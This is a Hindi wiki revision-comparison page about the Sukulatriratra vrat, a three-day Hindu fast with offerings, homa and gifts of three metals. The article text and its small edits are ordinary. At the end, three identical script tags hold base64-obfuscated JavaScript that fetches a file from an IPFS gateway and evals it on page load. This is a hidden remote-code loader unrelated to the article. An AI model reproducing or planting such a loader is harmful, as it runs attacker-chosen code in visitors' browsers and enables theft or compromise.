"सुकुलत्रिरात्र व्रत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
 
(4 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
+
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
 
*[[मार्गशीर्ष]] [[मास]] में उस तिथि को जो त्र्यम्बक हो, इसे किया जाता है।
 
*[[मार्गशीर्ष]] [[मास]] में उस तिथि को जो त्र्यम्बक हो, इसे किया जाता है।
 
*तीन दिनों तक उपवास करना चाहिए।
 
*तीन दिनों तक उपवास करना चाहिए।
*श्वेत, पीत एवं लाल [[भारत के पुष्प|पुष्पों]], तीन लेपों तथा गुग्गुल, कुटुक एवं राल की धूप से त्रिविक्रम ([[विष्णु]]) की पूजा करनी चाहिए। *त्रिमधुर का अर्पण करना चाहिए।  
+
*श्वेत, पीत एवं लाल [[भारत के पुष्प|पुष्पों]], तीन लेपों तथा गुग्गुल, कुटुक एवं राल की धूप से त्रिविक्रम ([[विष्णु]]) की पूजा करनी चाहिए।  
 +
*त्रिमधुर का अर्पण करना चाहिए।  
 
*तीन दीप, जौ, तिल एवं सरसों से होम करना चाहिए।   
 
*तीन दीप, जौ, तिल एवं सरसों से होम करना चाहिए।   
 
*त्रिलोह (सोना, रजत एवं ताम्र) का दान करना चाहिए।<ref>हेमाद्रि (व्रतखण्ड 2, 322-323, विष्णुधर्मोत्तरपुराण से उद्धरण)।</ref>  
 
*त्रिलोह (सोना, रजत एवं ताम्र) का दान करना चाहिए।<ref>हेमाद्रि (व्रतखण्ड 2, 322-323, विष्णुधर्मोत्तरपुराण से उद्धरण)।</ref>  
 
*धर्मशास्त्र इतिहास 4 में 'त्रिमधुर' एवं 'त्र्यम्बक' में इसका उल्लेख है।  
 
*धर्मशास्त्र इतिहास 4 में 'त्रिमधुर' एवं 'त्र्यम्बक' में इसका उल्लेख है।  
  
{{लेख प्रगति
+
{{संदर्भ ग्रंथ}}
|आधार=आधार1
 
|प्रारम्भिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>

10:27, 21 मार्च 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • मार्गशीर्ष मास में उस तिथि को जो त्र्यम्बक हो, इसे किया जाता है।
  • तीन दिनों तक उपवास करना चाहिए।
  • श्वेत, पीत एवं लाल पुष्पों, तीन लेपों तथा गुग्गुल, कुटुक एवं राल की धूप से त्रिविक्रम (विष्णु) की पूजा करनी चाहिए।
  • त्रिमधुर का अर्पण करना चाहिए।
  • तीन दीप, जौ, तिल एवं सरसों से होम करना चाहिए।
  • त्रिलोह (सोना, रजत एवं ताम्र) का दान करना चाहिए।[1]
  • धर्मशास्त्र इतिहास 4 में 'त्रिमधुर' एवं 'त्र्यम्बक' में इसका उल्लेख है।


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 2, 322-323, विष्णुधर्मोत्तरपुराण से उद्धरण)।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>